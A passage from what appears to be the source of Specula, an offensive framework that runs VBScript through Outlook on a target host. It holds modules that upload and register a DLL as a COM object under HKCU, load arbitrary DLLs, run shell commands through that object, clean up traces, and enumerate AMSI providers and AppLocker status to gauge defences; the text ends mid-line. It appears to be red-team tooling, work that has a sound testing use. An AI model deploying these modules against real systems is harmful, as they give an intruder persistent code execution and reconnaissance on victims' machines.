Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <IntDir>$(Configuration)PS\\</IntDir>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <IntDir>$(Configuration)PS\\</IntDir>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <IntDir>$(Configuration)PS\\</IntDir>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <IntDir>$(Configuration)PS\\</IntDir>\r\n  </PropertyGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <ClCompile>\r\n      <PreprocessorDefinitions>REGISTER_PROXY_DLL;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n    </ClCompile>\r\n    <Link>\r\n      <AdditionalDependencies>kernel32.lib;rpcns4.lib;rpcrt4.lib;oleaut32.lib;uuid.lib;%(AdditionalDependencies)</AdditionalDependencies>\r\n      <ModuleDefinitionFile>SpeculaApiPS.def</ModuleDefinitionFile>\r\n      <RegisterOutput>true</RegisterOutput>\r\n      <PerUserRedirection>true</PerUserRedirection>\r\n    </Link>\r\n    <PreBuildEvent>\r\n      <Command>if exist dlldata.c goto :END\r\necho Error: MIDL will not generate DLLDATA.C unless you have at least 1 interface in the main project.\r\nExit 1\r\n:END\r\n</Command>\r\n      <Message>Checking for required files</Message>\r\n    </PreBuildEvent>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <ClCompile>\r\n      <PreprocessorDefinitions>WIN32;REGISTER_PROXY_DLL;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n    </ClCompile>\r\n    <Link>\r\n      <AdditionalDependencies>kernel32.lib;rpcns4.lib;rpcrt4.lib;oleaut32.lib;uuid.lib;%(AdditionalDependencies)</AdditionalDependencies>\r\n      <ModuleDefinitionFile>SpeculaApiPS.def</ModuleDefinitionFile>\r\n      <RegisterOutput>true</RegisterOutput>\r\n    </Link>\r\n    <PreBuildEvent>\r\n      <Command>if exist dlldata.c goto :END\r\necho Error: MIDL will not generate DLLDATA.C unless you have at least 1 interface in the main project.\r\nExit 1\r\n:END\r\n</Command>\r\n      <Message>Checking for required files</Message>\r\n    </PreBuildEvent>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <ClCompile>\r\n      <PreprocessorDefinitions>WIN32;REGISTER_PROXY_DLL;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <Optimization>MaxSpeed</Optimization>\r\n    </ClCompile>\r\n    <Link>\r\n      <AdditionalDependencies>kernel32.lib;rpcns4.lib;rpcrt4.lib;oleaut32.lib;uuid.lib;%(AdditionalDependencies)</AdditionalDependencies>\r\n      <ModuleDefinitionFile>SpeculaApiPS.def</ModuleDefinitionFile>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <RegisterOutput>true</RegisterOutput>\r\n    </Link>\r\n    <PreBuildEvent>\r\n      <Command>if exist dlldata.c goto :END\r\necho Error: MIDL will not generate DLLDATA.C unless you have at least 1 interface in the main project.\r\nExit 1\r\n:END\r\n</Command>\r\n      <Message>Checking for required files</Message>\r\n    </PreBuildEvent>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <ClCompile>\r\n      <PreprocessorDefinitions>REGISTER_PROXY_DLL;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <Optimization>MaxSpeed</Optimization>\r\n    </ClCompile>\r\n    <Link>\r\n      <AdditionalDependencies>kernel32.lib;rpcns4.lib;rpcrt4.lib;oleaut32.lib;uuid.lib;%(AdditionalDependencies)</AdditionalDependencies>\r\n      <ModuleDefinitionFile>SpeculaApiPS.def</ModuleDefinitionFile>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <RegisterOutput>true</RegisterOutput>\r\n      <PerUserRedirection>true</PerUserRedirection>\r\n    </Link>\r\n    <PreBuildEvent>\r\n      <Command>if exist dlldata.c goto :END\r\necho Error: MIDL will not generate DLLDATA.C unless you have at least 1 interface in the main project.\r\nExit 1\r\n:END\r\n</Command>\r\n      <Message>Checking for required files</Message>\r\n    </PreBuildEvent>\r\n  </ItemDefinitionGroup>\r\n  <ItemGroup>\r\n    <None Include=\"..\\SpeculaApi\\SpeculaApips.def\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"..\\SpeculaApi\\dlldata.c\">\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">false</CompileAsManaged>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n      </PrecompiledHeader>\r\n    </ClCompile>\r\n    <ClCompile Include=\"..\\SpeculaApi\\SpeculaApi_i.c\">\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">false</CompileAsManaged>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n      </PrecompiledHeader>\r\n    </ClCompile>\r\n    <ClCompile Include=\"..\\SpeculaApi\\SpeculaApi_p.c\">\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">false</CompileAsManaged>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n      </PrecompiledHeader>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\r\n  <ImportGroup Label=\"ExtensionTargets\">\r\n  </ImportGroup>\r\n</Project>"
  },
  {
    "path": "api/SpeculaApiPS/SpeculaApiPS.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup>\r\n    <Filter Include=\"Generated Files\">\r\n      <UniqueIdentifier>{3be6a7fa-d612-40eb-b2df-d2d4ff8b27b2}</UniqueIdentifier>\r\n      <SourceControlFiles>False</SourceControlFiles>\r\n    </Filter>\r\n    <Filter Include=\"Source Files\">\r\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\r\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Header Files\">\r\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\r\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Resource Files\">\r\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\r\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\r\n    </Filter>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <None Include=\"..\\SpeculaApi\\SpeculaApips.def\">\r\n      <Filter>Source Files</Filter>\r\n    </None>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"..\\SpeculaApi\\SpeculaApi_i.c\">\r\n      <Filter>Generated Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"..\\SpeculaApi\\SpeculaApi_p.c\">\r\n      <Filter>Generated Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"..\\SpeculaApi\\dlldata.c\">\r\n      <Filter>Generated Files</Filter>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n</Project>"
  },
  {
    "path": "functions/api/install_api.py",
    "content": "import copy\nimport os\n\nfrom lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makebool\nfrom lib.core.utility import TaskClass\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Sets reg keys to install com object to interface with Windows API. \n        This module uploads the OutlookHelper DLL file automatically (Queued as tasks).\n        In order to leverage the API modules you need to run the api_verify at least once so that the verification\n        process runs on target and updates the specula database.\n        \"\"\"\n        self.entry = 'install_api'\n        self.depends = ['./helperFunctions/Setregvalue_hkcu.txt']\n        self.options['file'] = {\n            \"value\": \"c:\\\\com-test\\\\v2\\\\specula_com.dll\",\n            \"required\": True,\n            \"description\": \"Where to upload and register api dll\",\n            \"handler\": quotedstring\n        }\n        self.options['addverifytask'] = {\n            \"value\": \"True\",\n            \"required\": True,\n            \"description\": \"Will add the verify task as the next task if this is set to true.\",\n            \"handler\": makebool\n        }\n        super().__init__(templatepath)\n\n    def rethandler(self, agent, options, data):\n        # Updating DB with the dll paths used and setting installed to true and verified to False\n        arch = data[:2]\n\n        localdll = None\n        basefile = \"SpeculaApi\"\n        if arch == \"64\":\n            localdll = os.path.join(self.helpers.getpayloaddir(), \"api/\" + basefile + \".x64.dll\")\n            self.helpers.speclog(\"Identified 64 bit office install, uploading 64 bit dll\", False)\n            agent.officearch = \"x64\"\n        elif arch == \"32\":\n            localdll = os.path.join(self.helpers.getpayloaddir(), \"api/\" + basefile + \".dll\")\n            self.helpers.speclog(\"Identified 32 bit office install, uploading 32 bit dll\", False)\n            agent.officearch = \"x86\"\n        else:\n            self.helpers.speclog(\"Failed to detect office arch, api install failed\", True)\n            mod = self.helpers.get_module('api/remove_api')\n            mod.options['deletedlls']['value'] = \"False\"\n            task = TaskClass('api/remove_api',\n                             self.helpers.renderModule(mod, agent),\n                             mod.entry,\n                             copy.deepcopy(mod.options),\n                             True)\n            agent.add_task(task)\n            return\n\n        # Add task to create the folder - Just in case\n        folderpath = (options['file']['value']).rsplit('\\\\', 1)[0] #remove filename from path\n        mod = self.helpers.get_module('operation/file/create_dir')\n        mod.options['directory']['value'] = folderpath\n        task = TaskClass('operation/file/create_dir',\n                         self.helpers.renderModule(mod, agent),\n                         mod.entry,\n                         copy.deepcopy(mod.options),\n                         True)\n        agent.add_task(task)\n        \n        #queue dll upload\n        mod = self.helpers.get_module('operation/file/put_file')\n        mod.options['file']['value'] = localdll\n        mod.options['destination']['value'] = options['file']['value']\n        task = TaskClass('operation/file/put_file',\n                         self.helpers.renderModule(mod, agent),\n                         mod.entry,\n                         copy.deepcopy(mod.options),\n                         True)\n        agent.add_task(task)\n        agent.api_dll = options['file']['value']\n        agent.api_installed = True\n        if options['addverifytask']['value']:\n            mod = self.helpers.get_module('api/verify_api')\n            task = TaskClass('api/verify_api',\n                                self.helpers.renderModule(mod, agent),\n                                mod.entry,\n                                {},\n                                True)\n            agent.add_task(task)"
  },
  {
    "path": "functions/api/install_api.txt",
    "content": "\r\nFunction install_api()\r\n\tOn Error Resume Next\r\n\tis64 = false\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objreg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\tobjreg.GetStringValue 2147483650, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\outlook.exe\", \"Path\", strPath\r\n\tif InStr(strPath, \"x86\") > 0 Then\r\n\t\tSetValue_HKCU_Registry = \"32\"\r\n\telse\r\n\t\tSetValue_HKCU_Registry = \"64\"\r\n\t\tis64 = true\r\n\tend if\r\n\tbasepath = \"software\\classes\\\"\r\n    SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"SpeculaApi.Specula\", \"REG_SZ\", \"@\", \"Specula class\") & vbCrLf\r\n    SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"SpeculaApi.Specula\\CurVer\", \"REG_SZ\", \"@\", \"SpeculaApi.Specula.1\") & vbCrLf\r\n\tSetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"SpeculaApi.Specula.1\", \"REG_SZ\", \"@\", \"Specula class\") & vbCrLf\r\n    SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"SpeculaApi.Specula.1\\CLSID\", \"REG_SZ\", \"@\", \"{e8b55279-c6b4-48f3-8138-b727337c0236}\") & vbCrLf\r\n\r\n    SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"CLSID\\{e8b55279-c6b4-48f3-8138-b727337c0236}\", \"REG_SZ\", \"@\", \"Specula class\") & vbCrLf\r\n    SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"CLSID\\{e8b55279-c6b4-48f3-8138-b727337c0236}\\InprocServer32\", \"REG_SZ\", \"@\", {{file}}) & vbCrLf\r\n    SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"CLSID\\{e8b55279-c6b4-48f3-8138-b727337c0236}\\InprocServer32\", \"REG_SZ\", \"ThreadingModel\", \"Free\") & vbCrLf\r\n\r\n    SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"CLSID\\{e8b55279-c6b4-48f3-8138-b727337c0236}\\ProgId\", \"REG_SZ\", \"@\", \"SpeculaApi.Specula.1\") & vbCrLf\r\n    SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"CLSID\\{e8b55279-c6b4-48f3-8138-b727337c0236}\\Programmable\", \"REG_SZ\", \"@\", \"\") & vbCrLf\r\n\tSetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"CLSID\\{e8b55279-c6b4-48f3-8138-b727337c0236}\\TypeLib\", \"REG_SZ\", \"@\", \"{5be8ef76-6253-482a-926e-d1d877de3b63}\") & vbCrLf\r\n    SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"CLSID\\{e8b55279-c6b4-48f3-8138-b727337c0236}\\Version\", \"REG_SZ\", \"@\", \"1.0\") & vbCrLf\r\n    SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"CLSID\\{e8b55279-c6b4-48f3-8138-b727337c0236}\\VersionIndependentProgID\", \"REG_SZ\", \"@\", \"SpeculaApi.Specula\") & vbCrLf\r\n\t\r\n\tSetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"TypeLib\\{5be8ef76-6253-482a-926e-d1d877de3b63}\\1.0\", \"REG_SZ\", \"@\", \"SpeculaApiLib\") & vbCrLf\r\n\tSetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"TypeLib\\{5be8ef76-6253-482a-926e-d1d877de3b63}\\1.0\\FLAGS\", \"REG_SZ\", \"@\", \"0\") & vbCrLf\r\n\tSetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"TypeLib\\{5be8ef76-6253-482a-926e-d1d877de3b63}\\1.0\\0\\win32\", \"REG_SZ\", \"@\", {{file}}) & vbCrLf\r\n\tif (is64) then\r\n\t    SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"TypeLib\\{5be8ef76-6253-482a-926e-d1d877de3b63}\\1.0\\0\\win64\", \"REG_SZ\", \"@\", {{file}}) & vbCrLf\r\n\tend if\r\n\r\n\tSetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"Interface\\{B0F5F947-8064-48F7-A623-5C058DC91CC8}\", \"REG_SZ\", \"@\", \"ISepcula\") & vbCrLf\r\n\tSetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"Interface\\{B0F5F947-8064-48F7-A623-5C058DC91CC8}\\ProxyStubClsid32\", \"REG_SZ\", \"@\", \"{00020424-0000-0000-C000-000000000046}\") & vbCrLf\r\n\tSetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"Interface\\{B0F5F947-8064-48F7-A623-5C058DC91CC8}\\TypeLib\", \"REG_SZ\", \"@\", \"{5be8ef76-6253-482a-926e-d1d877de3b63}\") & vbCrLf\r\n\tSetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + \"Interface\\{B0F5F947-8064-48F7-A623-5C058DC91CC8}\\TypeLib\", \"REG_SZ\", \"Version\", \"1.0\") & vbCrLf\r\n\r\n\tinstall_api = SetValue_HKCU_Registry\r\nEnd Function"
  },
  {
    "path": "functions/api/load_dll.py",
    "content": "from lib.core.specmodule import SpecModule\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\nLoads a dll from disk using LoadLibrary\n        \"\"\"\n        self.entry = 'load_dll'\n        self.depends = []\n        self.options['dll'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"dll to load\",\n            \"handler\": None\n        }\n        super().__init__(templatepath)\n\n    def preprocess(self, agent):\n        if agent.api_verified != True:\n            raise RuntimeError(\"API has not been verified, please run api_verify first to check that the API is working\\nIf it works it will mark the attribute api_verified to True\\nTo override you would need to use dbedit to change the value to true\")\n"
  },
  {
    "path": "functions/api/load_dll.txt",
    "content": "Function load_dll\n   on error resume next\n   Set SpeculaApi = window.external.OutlookApplication.CreateObject(\"SpeculaApi.Specula\")\n   if SpeculaApi.LoadDll(\"{{dll}}\") = 1 Then\n      load_dll = \"True\"\n   Else\n      load_dll = \"False\"\n   End If\nEnd Function\n"
  },
  {
    "path": "functions/api/remove_api.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makebool\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Removes the registry values set by the install_outlookhelperapi.\n\n        \"\"\"\n        self.entry = 'remove_api'\n        self.depends = ['./helperFunctions/Delregkey_hkcu.txt', './helperFunctions/Delregvalue_hkcu.txt']\n        self.options['deletedlls'] = {\n            \"value\": \"True\",\n            \"required\": True,\n            \"description\": \"Attempt to delete dll from disk, won't work if its been loaded into outlook\",\n            \"handler\": makebool\n        }\n        self.options['dll'] = {\n            \"value\": \"autoresolve\",\n            \"required\": True,\n            \"description\": \"Path to file on disk, let it be autoresolve to find path in specula db\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n    \n    def preprocess(self, agent):\n        if self.options['deletedlls']['value'] == \"True\":\n            if self.options['dll']['value'] == \"autoresolve\":\n                if agent.api_dll:\n                    self.options['dll']['value'] = agent.api_dll\n                else:\n                    raise RuntimeError(\"No value found in Specula DB for api_dll - Rerun and specify path manually or set deletedlls to False\")\n\n    def rethandler(self, agent, options, data):\n        # Updating DB with the dll paths used and setting installed to true and verified to False\n        agent.api_dll = None\n        agent.api_installed = False\n        agent.api_verified = False\n    "
  },
  {
    "path": "functions/api/remove_api.txt",
    "content": "\r\nFunction remove_api()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n\tbasepath = \"software\\classes\\\"\r\n\t\r\n\tregdelres = DelRegKey_HKCU(basepath + \"OutLookHelper.Sysinfo\") & vbCrlf\r\n\tregdelres = regdelres & DelRegKey_HKCU(basepath + \"SpeculaApi.Specula.1\") & vbCrlf\r\n\tregdelres = regdelres & DelRegKey_HKCU(basepath + \"CLSID\\{e8b55279-c6b4-48f3-8138-b727337c0236}\") & vbCrlf\r\n\tregdelres = regdelres & DelRegKey_HKCU(basepath + \"TypeLib\\{5be8ef76-6253-482a-926e-d1d877de3b63}\") & vbCrlf\r\n\tregdelres = regdelres & DelRegKey_HKCU(basepath + \"Interface\\{e8b55279-c6b4-48f3-8138-b727337c0236}\") & vbCrlf\r\n\t\r\n\tif {{deletedlls}} = True Then\r\n\t\t\r\n\t\tIf fs.FileExists({{dll}}) = True Then\r\n\t\t\tfs.DeleteFile {{dll}}\r\n\t\telse\r\n\t\tEnd If\r\n\r\n\t\tIf fs.FileExists({{dll}}) = True Then\r\n\t\t\tfiledelres = filedelres & \"Delete file: \" & {{dll}} & \" - Fail\" & vbCrlf\r\n\t\telse\r\n\t\t\tfiledelres = filedelres & \"Delete file: \" & {{dll}} & \" - Success!\" & vbCrlf\r\n\t\tEnd If\r\n\t\tremove_api = regdelres & filedelres\r\n\telse\r\n\t\tremove_api = regdelres\r\n\tEnd if\r\n\r\n    \r\nEnd Function"
  },
  {
    "path": "functions/api/run_shell.py",
    "content": "from lib.core.specmodule import SpecModule\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\nRun a basic shell command via the installed com object\n        \"\"\"\n        self.entry = 'run_shell_api'\n        self.depends = []\n        self.options['cmd'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Command to execute\",\n            \"handler\": None\n        }\n        super().__init__(templatepath)\n\n    def preprocess(self, agent):\n        if agent.api_verified != True:\n            raise RuntimeError(\"API has not been verified, please run api_verify first to check that the API is working\\nIf it works it will mark the attribute api_verified to True\\nTo override you would need to use dbedit to change the value to true\")\n"
  },
  {
    "path": "functions/api/run_shell.txt",
    "content": "Function run_shell_api()\n   on error resume next\n   Set SpeculaApi = window.external.OutlookApplication.CreateObject(\"SpeculaApi.Specula\")\n   run_shell_api = SpeculaApi.RunShell(\"{{cmd}}\")\nEnd Function"
  },
  {
    "path": "functions/api/verify_api.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Checks if the API is working or not. If this returns an error you should investigate the api installation.\n        1. Is the dll present on system? The dll paths pushed through the install_api module can be found under info/dbdata.\n        2. Is the necesarry registry keys present on the host?\n        3. Consider re-running the api_install\n        4. Could it be an EDR blocking you :INSERT SCREAMING GIF HERE:\n        \"\"\"\n        self.entry = 'api_verify'\n        self.depends = []\n        super().__init__(templatepath)\n    \n    def rethandler(self, agent, options, data):\n        if data == \"False\":\n            agent.api_verified = False\n        if data == \"True\":\n            agent.api_verified = True"
  },
  {
    "path": "functions/api/verify_api.txt",
    "content": "Function api_verify()\n    On error resume next\n    Set specApi = window.external.OutlookApplication.CreateObject(\"SpeculaApi.Specula\")\n    If IsObject(specApi) Then\n        api_verify = True\n    else\n        api_verify = False\n    End if\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_amsiproviders.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the AMSI Providers registered on the system.\n        Based on MS documentation: \n        https://techcommunity.microsoft.com/t5/exchange-team-blog/more-about-amsi-integration-with-exchange-server/ba-p/2572371\n        Gets the GUID and figures out the names from the Classes\\\\guid table in registry\n        \n        It uses WbemScripting.SWbemNamedValueSet\n        - Add\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).EnumKey\n        - ConnectServer(root\\cimv2).GetStringValue\n        \"\"\"\n        self.entry = 'list_amsiproviders'\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_amsiproviders.txt",
    "content": "Function list_amsiproviders()\r\n\tOn error resume next\r\n\tconst REG_SZ = 1\r\n\tconst REG_EXPAND_SZ = 2\r\n\tconst REG_BINARY = 3\r\n\tconst REG_DWORD = 4\r\n\tconst REG_MULTI_SZ = 7\r\n\tconst REG_QWORD = 11\r\n\r\n\tmyoutput = \"Registered AMSI providers found on system:\" & vbCrLf\r\n\tSet oCtx = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemNamedValueSet\")\r\n\toCtx.Add \"__ProviderArchitecture\", 64\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objreg = objLocator.ConnectServer(\".\",\"root\\cimv2\",\"\",\"\",,,,oCtx).Get(\"StdRegProv\")\r\n\tobjreg.EnumKey 2147483650, \"Software\\Microsoft\\AMSI\\Providers\", arrKeys\r\n\tFor Each subkey in arrKeys\r\n\t\tmyoutput = myoutput & \"Provider guid: \" & subkey & vbCrLf\r\n\t\tobjReg.GetStringValue 2147483650,\"Software\\Classes\\CLSID\\\" & subkey,\"\",strValue\r\n\t\tmyoutput = myoutput & \"CLSID name: \" & strValue & vbCrLf & vbCrLf\r\n\tNext\r\n\tlist_amsiproviders = myoutput\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_applocker.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the status of AppLocker. \n        It returns one of the following statuses:\n        - Not Enabled\n        - Auditing\n        - Enforced \n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).EnumKey\n        - ConnectServer(root\\cimv2).GetDwordValue\n        - ConnectServer(root\\cimv2).GetStringValue\n\n        \"\"\"\n        self.entry = 'list_applocker'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_applocker.txt",
    "content": "Function list_applocker()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objReg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\t\r\n\tALlog = \"Enumerate AppLocker status:\" & vbCrLf\r\n\tKeyPathAL = \"Software\\Policies\\Microsoft\\Windows\\SrpV2\\\" \r\n\tresults = objReg.EnumKey(2147483650, KeyPathAL, arrSubkeysAL)\r\n\tIf results <> 0 Then\r\n\t\tALlog = ALlog & \"AppLocker disabled!\"\r\n\t\tlist_applocker = ALlog\r\n\tElse\r\n\t\tALlog = ALlog & \"AppLocker enabled!\"  & vbCrlf\r\n\t\tFor Each strSubkeyAL In arrSubkeysAL\r\n\t\t\tstatus = objReg.GetDwordValue(2147483650, KeyPathAL & strSubkeyAL, \"EnforcementMode\", sectionMode)\r\n\t\t\tIf status <> 0 Then\r\n\t\t\t\tval = \"Not Enabled\"\r\n\t\t\tElse\r\n\t\t\t\tIf sectionMode = 1 Then\r\n\t\t\t\t\tval = \"Enforced\"\r\n\t\t\t\tElseIf sectionMode = 0 Then\r\n\t\t\t\t\tval = \"Auditing\"\r\n\t\t\t\tEnd If\r\n\t\t\t\tresul = objReg.EnumKey(2147483650, KeyPathAL & strSubKeyAL, arrSectionSub)\r\n\t\t\t\tAppLockerRules = AppLockerRules & \"AppLocker Rule section: \" & 